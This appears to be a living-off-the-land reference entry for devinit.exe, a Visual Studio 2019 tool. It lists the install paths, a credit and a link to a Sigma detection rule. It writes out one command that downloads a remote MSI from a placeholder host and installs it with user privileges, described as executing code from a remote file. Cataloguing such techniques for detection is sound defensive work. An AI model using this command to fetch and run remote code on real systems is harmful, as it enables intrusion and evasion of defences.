

.. /Devinit.exe

Execute

Visual Studio 2019 tool

Paths:

C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe
C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe

Resources:

- <https://twitter.com/mrd0x/status/1460815932402679809>

Acknowledgements:

- mr.d0x ([@mrd0x](#))

Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/b02e3b698afbbae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml

Execute

Downloads an MSI file to C:\Windows\Installer and then installs it.

```
devinit.exe run -t msi-install -i https://example.com/out.msi
```

Use case: Executes code from a (remote) MSI file.

Privileges required: User

Operating systems: Windows 10, Windows 11

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